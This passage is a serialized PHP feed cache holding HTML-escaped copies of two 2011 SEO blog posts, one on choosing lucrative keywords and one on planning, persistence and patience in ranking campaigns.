Keywords&lt;/h3&gt;\n&lt;p&gt;The type of keywords you target matters. Ranking for obscure, less popular keywords never made anyone rich, nor will keyword duds recover their vested interest or the financial return on investment anted up to get ranked in the first place.&lt;/p&gt;\n&lt;p&gt;The moral of the story is to &lt;em&gt;watch where you point your SEO&lt;/em&gt;, more specifically, target &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/selecting-the-best-keywords/\&quot;&gt;the best keywords&lt;/a&gt; based &lt;strong&gt;on the climate for conversion&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;Of the three types of keywords:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Long tail keywords (easy to rank for, not as much search volume, but you can target more of them with less effort).&lt;/li&gt;\n&lt;li&gt;Mid tail keywords (they take more time, but have a steady flow of traffic and conversions) – or -&lt;/li&gt;\n&lt;li&gt;Primary root phrases (they take the longest, but are often educational keywords that lack &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-keyword-research-educational-vs-commercial-queries/\&quot;&gt;commercial intent&lt;/a&gt;).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Certain keywords produce click throughs and others create conversions. Depending on your business model (if you get paid from CPM advertising, CPA offers, Direct Sales, Lead Generation, or other means) determines &lt;strong&gt;which type of traffic&lt;/strong&gt; is more important for your business and where you should put your attention.&lt;/p&gt;\n&lt;p&gt;If you find yourself in an organic SEO campaign, make sure you stay away from the &lt;a href=\&quot;http://www.theme-zoom.com/general/neuromarketing-research-shows-bright-shiny-object-syndrome-affecting-thousands/\&quot;&gt;bright shiny objects&lt;/a&gt; and focus on profitable keyword clusters laced with conversion opportunities &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/seo-and-intent-where-search-meets-results/\&quot;&gt;fermenting with intent&lt;/a&gt; that turn browsers into buyers and not browsers into a high bounce rate (which can impact and undermine your websites’ trust and relevance score).&lt;/p&gt;\n&lt;h3&gt;Employ Relevancy and Recency&lt;/h3&gt;\n&lt;p&gt;Two things make search engines tick (1) relevance and (2) recency – making sure the breaking story is still hot or newsworthy or making sure that someone looking for the best sewing kits or fly fishing rods finds a website worthy of praise.&lt;/p&gt;\n&lt;p&gt;Your goal is to become that site by catering to the full spectrum (not just the tip of the iceberg) and use the secret sauce of co-occurrence (using various phrases found in the most authoritative websites on the topic) to ensure your website is the definitive go to destination for not only one type of query but rather a full spectrum of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/web-resources/semantic-optimization-keywords-and-co-occurrence-revisited/\&quot;&gt;semantic variables&lt;/a&gt; within a market or niche.&lt;/p&gt;\n&lt;p&gt;You accomplish this through topical relevance and by applying constant pressure though content creation or content curation to provide leverage and scale past complacent competitors.&lt;/p&gt;\n&lt;p&gt;Keep in mind that Google looks at more than just site structure and links. They observe the stickiness of the page, social signals, bounce rate and uniqueness.&lt;/p&gt;\n&lt;p&gt;However, if you need to scale and conquer, then &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/curation-intro-sign-up/\&quot;&gt;content curation&lt;/a&gt; (if done properly) can still yield favorable results through leveraging the inbound link opportunities that exist (for creating shingles to your primary landing pages) even if the supporting article or page is intended to rank or just serve as eye candy to entice a larger audience.&lt;/p&gt;\n&lt;p&gt;If you generate hundreds of visitors to your website daily, search engines will take notice and start sending more theme relevant traffic your way (if you intended it or not).&lt;/p&gt;\n&lt;p&gt;The key is to understand the effect and keep enough unique content in play (while remaining relevant and recent) such as using trends data from Google, &lt;a href=\&quot;http://www.alexa.com/whatshot\&quot;&gt;what’s hot in Alexa&lt;/a&gt; or trending topics in Twitter or Facebook to find the happy medium that can generate a stream of new visitors to your website.&lt;/p&gt;\n&lt;p&gt;Flowing with the go instead of merely &lt;em&gt;treading water&lt;/em&gt; or getting &lt;em&gt;swept away in a competitive current&lt;/em&gt; instead of leveraging the &lt;strong&gt;“what’s hot / it factor”&lt;/strong&gt; and integrating some newsworthy topic or recent event can mean the difference between a couple of clicks from random sources or a flurry of traffic.&lt;/p&gt;\n&lt;h3&gt;Replicate: Syndication Equals Impact&lt;/h3&gt;\n&lt;p&gt;How influential your website becomes is dependent on (1) the audience (2) their propensity to share and (3) the curb appeal of your headlines, writing style, verve or the appeal of the content, tutorial, newsflash or entertainment value therein.&lt;/p&gt;\n&lt;p&gt;Expand your reach intelligently by straying away from flimsy content and provide quality through and through to develop genuine domain authority. In other words, &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/internet-marketing/stop-targeting-keywords-target-behaviors/\&quot;&gt;target behaviors&lt;/a&gt; not just keywords.&lt;/p&gt;\n&lt;p&gt;So, before you write your next post, remember, search engines are designed to follow trends, and prefer a full spectrum of topical content on a subject rather than the tip of the iceberg &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/sacrificing-content-for-relevance-using-seo/\&quot;&gt;randomness&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;So, before you start writing about dust mites, automotive parts and health and fitness and trying to make it all work, you are only &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-and-google-protect-your-business-from-failure/\&quot;&gt;setting yourself up to fail&lt;/a&gt;. Snipe a few keywords starting with some low hanging fruit, use those pages or posts to provide internal links to the more competitive mid-tail keywords and then leverage those landing pages using links via syndication to tackle the more competitive &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-modifiers-for-affiliate-marketing/\&quot;&gt;traffic-bearing keywords&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;If you target keywords in phases, then you can test, measure, determine what works then lean into the phrases bringing your revenue to scale and replicate through &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/curation-intro-sign-up/\&quot;&gt;content curation&lt;/a&gt; or syndication of current and legacy content.&lt;/p&gt;\n&lt;p&gt;Once mastered, search engines will follow you, not the other way around!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=igml2SckFds:gUlKiJWcpHI:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/igml2SckFds\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:310:\&quot;Is SEO a moving target or are you simply shooting blanks in the dark? It’s no surprise that for those of you trying to get your site ranked that you&amp;#8217;ve discovered that SEO is “subject to change” and often on a daily or weekly basis. From Florida updates to Panda maulings, despite the ups and [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;5\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:66:\&quot;http://www.seodesignsolutions.com/blog/seo/is-seo-a-moving-target/\&quot;;}s:7:\&quot;summary\&quot;;s:310:\&quot;Is SEO a moving target or are you simply shooting blanks in the dark? It’s no surprise that for those of you trying to get your site ranked that you&amp;#8217;ve discovered that SEO is “subject to change” and often on a daily or weekly basis. From Florida updates to Panda maulings, despite the ups and [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:8647:\&quot;&lt;p&gt;Is SEO a moving target or are you simply shooting blanks in the dark? It’s no surprise that for those of you trying to get your site ranked that you&amp;#8217;ve discovered that SEO is &lt;strong&gt;“subject to change”&lt;/strong&gt; and often on a daily or weekly basis.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9005\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 434px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/is-seo-a-moving-target/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9005\&quot; title=\&quot;is-seo-a-moving-target\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/11/is-seo-a-moving-target.jpg\&quot; alt=\&quot;SEO-Moving-Target\&quot; width=\&quot;424\&quot; height=\&quot;283\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Ready, Aim, Fire!&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;From Florida updates to Panda maulings, despite the ups and downs, certain metrics remain intact.&lt;/p&gt;\n&lt;p&gt;As a webmaster, these &lt;strong&gt;evergreen metrics&lt;/strong&gt; are the focal point to remain relevant amidst the rise and fall of questionable &lt;strong&gt;flavor of the month&lt;/strong&gt; SEO methodologies before they get leaked, peak and go the way of overused and abused SEO tactics like keyword stuffing and other dated practices from our fabled list of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/seo-styles-make-the-fight-10-deadly-seo-techniques-to-avoid/\&quot;&gt;10 SEO techniques to avoid&lt;/a&gt;.&lt;span id=\&quot;more-9004\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;Search engines are stepping up their game, and so should you. Today’s topic is a refresher on strategy, ROI and scalability when determining which keywords are &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/wrong-market-wrong-keywords-or-seo-strategy/\&quot;&gt;worthwhile to engage&lt;/a&gt;.&lt;/p&gt;\n&lt;h3&gt;Aim for Lucrative Keywords&lt;/h3&gt;\n&lt;p&gt;The type of keywords you target matters. Ranking for obscure, less popular keywords never made anyone rich, nor will keyword duds recover their vested interest or the financial return on investment anted up to get ranked in the first place.&lt;/p&gt;\n&lt;p&gt;The moral of the story is to &lt;em&gt;watch where you point your SEO&lt;/em&gt;, more specifically, target &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/selecting-the-best-keywords/\&quot;&gt;the best keywords&lt;/a&gt; based &lt;strong&gt;on the climate for conversion&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;Of the three types of keywords:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Long tail keywords (easy to rank for, not as much search volume, but you can target more of them with less effort).&lt;/li&gt;\n&lt;li&gt;Mid tail keywords (they take more time, but have a steady flow of traffic and conversions) – or -&lt;/li&gt;\n&lt;li&gt;Primary root phrases (they take the longest, but are often educational keywords that lack &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-keyword-research-educational-vs-commercial-queries/\&quot;&gt;commercial intent&lt;/a&gt;).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Certain keywords produce click throughs and others create conversions. Depending on your business model (if you get paid from CPM advertising, CPA offers, Direct Sales, Lead Generation, or other means) determines &lt;strong&gt;which type of traffic&lt;/strong&gt; is more important for your business and where you should put your attention.&lt;/p&gt;\n&lt;p&gt;If you find yourself in an organic SEO campaign, make sure you stay away from the &lt;a href=\&quot;http://www.theme-zoom.com/general/neuromarketing-research-shows-bright-shiny-object-syndrome-affecting-thousands/\&quot;&gt;bright shiny objects&lt;/a&gt; and focus on profitable keyword clusters laced with conversion opportunities &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/seo-and-intent-where-search-meets-results/\&quot;&gt;fermenting with intent&lt;/a&gt; that turn browsers into buyers and not browsers into a high bounce rate (which can impact and undermine your websites’ trust and relevance score).&lt;/p&gt;\n&lt;h3&gt;Employ Relevancy and Recency&lt;/h3&gt;\n&lt;p&gt;Two things make search engines tick (1) relevance and (2) recency – making sure the breaking story is still hot or newsworthy or making sure that someone looking for the best sewing kits or fly fishing rods finds a website worthy of praise.&lt;/p&gt;\n&lt;p&gt;Your goal is to become that site by catering to the full spectrum (not just the tip of the iceberg) and use the secret sauce of co-occurrence (using various phrases found in the most authoritative websites on the topic) to ensure your website is the definitive go to destination for not only one type of query but rather a full spectrum of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/web-resources/semantic-optimization-keywords-and-co-occurrence-revisited/\&quot;&gt;semantic variables&lt;/a&gt; within a market or niche.&lt;/p&gt;\n&lt;p&gt;You accomplish this through topical relevance and by applying constant pressure though content creation or content curation to provide leverage and scale past complacent competitors.&lt;/p&gt;\n&lt;p&gt;Keep in mind that Google looks at more than just site structure and links. They observe the stickiness of the page, social signals, bounce rate and uniqueness.&lt;/p&gt;\n&lt;p&gt;However, if you need to scale and conquer, then &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/curation-intro-sign-up/\&quot;&gt;content curation&lt;/a&gt; (if done properly) can still yield favorable results through leveraging the inbound link opportunities that exist (for creating shingles to your primary landing pages) even if the supporting article or page is intended to rank or just serve as eye candy to entice a larger audience.&lt;/p&gt;\n&lt;p&gt;If you generate hundreds of visitors to your website daily, search engines will take notice and start sending more theme relevant traffic your way (if you intended it or not).&lt;/p&gt;\n&lt;p&gt;The key is to understand the effect and keep enough unique content in play (while remaining relevant and recent) such as using trends data from Google, &lt;a href=\&quot;http://www.alexa.com/whatshot\&quot;&gt;what’s hot in Alexa&lt;/a&gt; or trending topics in Twitter or Facebook to find the happy medium that can generate a stream of new visitors to your website.&lt;/p&gt;\n&lt;p&gt;Flowing with the go instead of merely &lt;em&gt;treading water&lt;/em&gt; or getting &lt;em&gt;swept away in a competitive current&lt;/em&gt; instead of leveraging the &lt;strong&gt;“what’s hot / it factor”&lt;/strong&gt; and integrating some newsworthy topic or recent event can mean the difference between a couple of clicks from random sources or a flurry of traffic.&lt;/p&gt;\n&lt;h3&gt;Replicate: Syndication Equals Impact&lt;/h3&gt;\n&lt;p&gt;How influential your website becomes is dependent on (1) the audience (2) their propensity to share and (3) the curb appeal of your headlines, writing style, verve or the appeal of the content, tutorial, newsflash or entertainment value therein.&lt;/p&gt;\n&lt;p&gt;Expand your reach intelligently by straying away from flimsy content and provide quality through and through to develop genuine domain authority. In other words, &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/internet-marketing/stop-targeting-keywords-target-behaviors/\&quot;&gt;target behaviors&lt;/a&gt; not just keywords.&lt;/p&gt;\n&lt;p&gt;So, before you write your next post, remember, search engines are designed to follow trends, and prefer a full spectrum of topical content on a subject rather than the tip of the iceberg &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/sacrificing-content-for-relevance-using-seo/\&quot;&gt;randomness&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;So, before you start writing about dust mites, automotive parts and health and fitness and trying to make it all work, you are only &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-and-google-protect-your-business-from-failure/\&quot;&gt;setting yourself up to fail&lt;/a&gt;. Snipe a few keywords starting with some low hanging fruit, use those pages or posts to provide internal links to the more competitive mid-tail keywords and then leverage those landing pages using links via syndication to tackle the more competitive &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-modifiers-for-affiliate-marketing/\&quot;&gt;traffic-bearing keywords&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;If you target keywords in phases, then you can test, measure, determine what works then lean into the phrases bringing your revenue to scale and replicate through &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/curation-intro-sign-up/\&quot;&gt;content curation&lt;/a&gt; or syndication of current and legacy content.&lt;/p&gt;\n&lt;p&gt;Once mastered, search engines will follow you, not the other way around!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=igml2SckFds:gUlKiJWcpHI:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/igml2SckFds\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:28;a:12:{s:5:\&quot;title\&quot;;s:32:\&quot;The Three P’s of SEO Conquest!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/1FIc3wfYvv4/\&quot;;s:8:\&quot;category\&quot;;s:67:\&quot;SEOPlanning Your SEO StrategySEO ConquestSEO Strategies and Tactics\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Mon, 31 Oct 2011 04:55:42 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=8997\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:7365:\&quot;&lt;p&gt;Rome was not built in a day, nor was a dominant search engine ranking for a competitive keyword either. Feats of valor and substance require the proper tact and follow through, which lead to the next point.&lt;/p&gt;\n&lt;div id=\&quot;attachment_8998\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 375px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/the-three-ps-of-seo-conquest/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-8998\&quot; title=\&quot;rome\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/10/rome.jpg\&quot; alt=\&quot;Roman Warrior\&quot; width=\&quot;365\&quot; height=\&quot;329\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Rome was not built in a day&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;In order to conquer competitors and reach the top 10 results, you need to understand the 3 P’s of SEO conquest and live by their credo.&lt;/p&gt;\n&lt;p&gt;The 3P’s of SEO are:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Planning&lt;/li&gt;\n&lt;li&gt;Persistence&lt;/li&gt;\n&lt;li&gt;Patience&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;As rudimentary as these 3 words appear, once you understand that everything can be reduced to its essence, and the essence of a strong SEO campaign is founded upon these three principles.&lt;span id=\&quot;more-8997\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;PLANNING&lt;/h3&gt;\n&lt;p&gt;Planning – No battle (at least any significant one) was ever one from a bunch of warriors just showing up, after picking a random direction, with no battle plan – against a significant adversary.&lt;/p&gt;\n&lt;p&gt;Any worthwhile endeavor is born from planning. In this instance you need to survey the reach and exposure of your competitors (content, links, advertising budget, whether or not they are using affiliates, etc.) in order to surmise their strengths and weaknesses.&lt;/p&gt;\n&lt;p&gt;Based on your discovery, you look for chinks in the armor to determine whether or not their weakness will serve your advance.&lt;/p&gt;\n&lt;p&gt;For example, if your competitor is relying solely on one type of promotion too heavily, that would provide you with an opportunity to leverage a medium they may be ignoring (like Press releases, editorial content swapping on powerful websites, powerhouse aged directories or even selective article marketing &amp;#8211; &lt;em&gt;to get tons of long tail inbound links to your landing pages&lt;/em&gt;).&lt;/p&gt;\n&lt;p&gt;Study their rankings, see where they are visible and start with a solid plan that you can (a) roll out as aggressively as your budget permits but (b) is founded in a timeline with KPI’s (&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-consulting/seo-and-kpi-key-performance-indicators/\&quot;&gt;key performance indicators&lt;/a&gt;) as a sounding board for advancement and ROI (return on investment).&lt;/p&gt;\n&lt;p&gt;Be aware it may take 6-9 months to get a foothold for competitive verticals, but the traffic is your reward (if you cultivate positioning on the appropriate keyword/fronts).&lt;/p&gt;\n&lt;h3&gt;PERSISTENCE&lt;/h3&gt;\n&lt;p&gt;Persistence – Are you the kind of guy (or girl) that picks a fight with an 800 pound gorilla, then once you get hit in the face throw in the towel and give up? If so, then SEO is not for you (you are better off paying for every click with PPC or media buys).&lt;/p&gt;\n&lt;p&gt;Persistence is one of your most notable allies in the battles that erupt with the other 990 contenders on your ascent to the top 10. If you crumble easily or get flustered if you rise 5 pages for a few weeks, then fall back 2 pages, then reconsider your resolve.&lt;/p&gt;\n&lt;p&gt;Search engine result pages (SERPs) are volatile, as there are hundreds of known factors and thousands of variables which contribute to a website remaining buoyant amidst the chaos of recency and relevance in addition to competitors all aiming to &lt;strong&gt;take your spot&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;You have to stay active in order to impress search engine algorithms, and that means using diversity (in keywords, internal links, the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-basics/content-creation/\&quot;&gt;content you publish&lt;/a&gt; on site and how you reinforce that content through syndication or off page ranking factors).&lt;/p&gt;\n&lt;p&gt;The key is to keep things moving and to scale &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/is-your-on-page-seo-strong-enough/\&quot;&gt;on page SEO&lt;/a&gt; equally while focusing on promotion and off page (links and syndication). We never advise any type of SEO campaign without recommending the addition of fresh, topical content being dripped daily to the web from the property you are trying to establish.&lt;/p&gt;\n&lt;p&gt;On page content sends a clear signal that your effort is genuine and each new page gives you an opportunity to reinforce another shingle (group of words) that are pieces in the puzzle (parts of the semantic hierarchy) that you are attempting to establish a foothold in.&lt;/p&gt;\n&lt;p&gt;The more keywords your website spans, the more relevant your website becomes. The more relevant your website becomes, the more search engines will funnel traffic to your pages. The more traffic and exposure you receive, the more you can leverage those ranked pages to rank 10 more in kind and in essence develop a ranking juggernaut.&lt;/p&gt;\n&lt;p&gt;This is a worthy strategy for conquest, building an authority site to weather SERP fluctuations and lazy competitors. All the while, this is only part one of the equation. When you couple this with progressive off page inbound links (over time) all keywords are attainable (if you cross the tipping point).&lt;/p&gt;\n&lt;p&gt;The question is, do you have the commitment, persistence, drive, budget or time to do so. If you are up against a competitor who has been dominant for 5 years uncontested by a challenger, then be prepared to engage the battle (when they see you picking off keywords and taking their spots).&lt;/p&gt;\n&lt;p&gt;This is why the next virtue is of extreme importance… that virtue is patience.&lt;/p&gt;\n&lt;h3&gt;PATIENCE&lt;/h3&gt;\n&lt;p&gt;Patience is not a naturally occurring trait for most; it must be developed over time. SEO requires time and much like a great battle or game of chess getting to the end game with an advantage all depends on what moves you made in the beginning or previous moves leading up to it.&lt;/p&gt;\n&lt;p&gt;While there are various strategies and tactics, they are mere pieces on the board. What matters is how they are used (leverage), when you use them (timing) and why you would elect to use them in the first place (circumstance).  To sift through the archives of our strategies, you need look no further than our &lt;a href=\&quot;http://www.seodesignsolutions.com/sitemap.xml\&quot;&gt;sitemap&lt;/a&gt; for gems. But no strategy or tactic will help you if you don’t have the patience to let it play out.&lt;/p&gt;\n&lt;p&gt;So, before you pick your next battle or your next keyword, know what you are up against and plan accordingly. Remember, Rome was not built in a day and neither is a lucrative ranking either – so, bring your best arsenal (&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-seo-your-website/\&quot;&gt;site architecture&lt;/a&gt;, content creation, internal links and syndication and backlinks) or you are already defeated before even stepping on the battlefield from some competitor who already has.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=1FIc3wfYvv4:_eG9UzenEm8:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/1FIc3wfYvv4\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:309:\&quot;Rome was not built in a day, nor was a dominant search engine ranking for a competitive keyword either. Feats of valor and substance require the proper tact and follow through, which lead to the next point. In order to conquer competitors and reach the top 10 results, you need to understand the 3 P’s [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;2\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:72:\&quot;http://www.seodesignsolutions.com/blog/seo/the-three-ps-of-seo-conquest/\&quot;;}s:7:\&quot;summary\&quot;;s:309:\&quot;Rome was not built in a day, nor was a dominant search engine ranking for a competitive keyword either. Feats of valor and substance require the proper tact and follow through, which lead to the next point. In order to conquer competitors and reach the top 10 results, you need to understand the 3 P’s [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:7365:\&quot;&lt;p&gt;Rome was not built in a day, nor was a dominant search engine ranking for a competitive keyword either. Feats of valor and substance require the proper tact and follow through, which lead to the next point.&lt;/p&gt;\n&lt;div id=\&quot;attachment_8998\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 375px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/the-three-ps-of-seo-conquest/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-8998\&quot; title=\&quot;rome\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/10/rome.jpg\&quot; alt=\&quot;Roman Warrior\&quot; width=\&quot;365\&quot; height=\&quot;329\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Rome was not built in a day&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;In order to conquer competitors and reach the top 10 results, you need to understand the 3 P’s of SEO conquest and live by their credo.&lt;/p&gt;\n&lt;p&gt;The 3P’s of SEO are:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Planning&lt;/li&gt;\n&lt;li&gt;Persistence&lt;/li&gt;\n&lt;li&gt;Patience&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;As rudimentary as these 3 words appear, once you understand that everything can be reduced to its essence, and the essence of a strong SEO campaign is founded upon these three principles.&lt;span id=\&quot;more-8997\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;PLANNING&lt;/h3&gt;\n&lt;p&gt;Planning – No battle (at least any significant one) was ever one from a bunch of warriors just showing up, after picking a random direction, with no battle plan – against a significant adversary.&lt;/p&gt;\n&lt;p&gt;Any worthwhile endeavor is born from planning. In this instance you need to survey the reach and exposure of your competitors (content, links, advertising budget, whether or not they are using affiliates, etc.) in order to surmise their strengths and weaknesses.&lt;/p&gt;\n&lt;p&gt;Based on your discovery, you look for chinks in the armor to determine whether or not their weakness will serve your advance.&lt;/p&gt;\n&lt;p&gt;For example, if your competitor is relying solely on one type of promotion too heavily, that would provide you with an opportunity to leverage a medium they may be ignoring (like Press releases, editorial content swapping on powerful websites, powerhouse aged directories or even selective article marketing &amp;#8211; &lt;em&gt;to get tons of long tail inbound links to your landing pages&lt;/em&gt;).&lt;/p&gt;\n&lt;p&gt;Study their rankings, see where they are visible and start with a solid plan that you can (a) roll out as aggressively as your budget permits but (b) is founded in a timeline with KPI’s (&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-consulting/seo-and-kpi-key-performance-indicators/\&quot;&gt;key performance indicators&lt;/a&gt;) as a sounding board for advancement and ROI (return on investment).&lt;/p&gt;\n&lt;p&gt;Be aware it may take 6-9 months to get a foothold for competitive verticals, but the traffic is your reward (if you cultivate positioning on the appropriate keyword/fronts).&lt;/p&gt;\n&lt;h3&gt;PERSISTENCE&lt;/h3&gt;\n&lt;p&gt;Persistence – Are you the kind of guy (or girl) that picks a fight with an 800 pound gorilla, then once you get hit in the face throw in the towel and give up? If so, then SEO is not for you (you are better off paying for every click with PPC or media buys).&lt;/p&gt;\n&lt;p&gt;Persistence is one of your most notable allies in the battles that erupt with the other 990 contenders on your ascent to the top 10. If you crumble easily or get flustered if you rise 5 pages for a few weeks, then fall back 2 pages, then reconsider your resolve.&lt;/p&gt;\n&lt;p&gt;Search engine result pages (SERPs) are volatile, as there are hundreds of known factors and thousands of variables which contribute to a website remaining buoyant amidst the chaos of recency and relevance in addition to competitors all aiming to &lt;strong&gt;take your spot&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;You have to stay active in order to impress search engine algorithms, and that means using diversity (in keywords, internal links, the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-basics/content-creation/\&quot;&gt;content you publish&lt;/a&gt; on site and how you reinforce that content through syndication or off page ranking factors).&lt;/p&gt;\n&lt;p&gt;The key is to keep things moving and to scale &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/is-your-on-page-seo-strong-enough/\&quot;&gt;on page SEO&lt;/a&gt; equally while focusing on promotion and off page (links and syndication). We never advise any type of SEO campaign without recommending the addition of fresh, topical content being dripped daily to the web from the property you are trying to establish.&lt;/p&gt;\n&lt;p&gt;On page content sends a clear signal that your effort is genuine and each new page gives you an opportunity to reinforce another shingle (group of words) that are pieces in the puzzle (parts of the semantic hierarchy) that you are attempting to establish a foothold in.&lt;/p&gt;\n&lt;p&gt;The more keywords your website spans, the more relevant your website becomes. The more relevant your website becomes, the more search engines will funnel traffic to your pages. The more traffic and exposure you receive, the more you can leverage those ranked pages to rank 10 more in kind and in essence develop a ranking 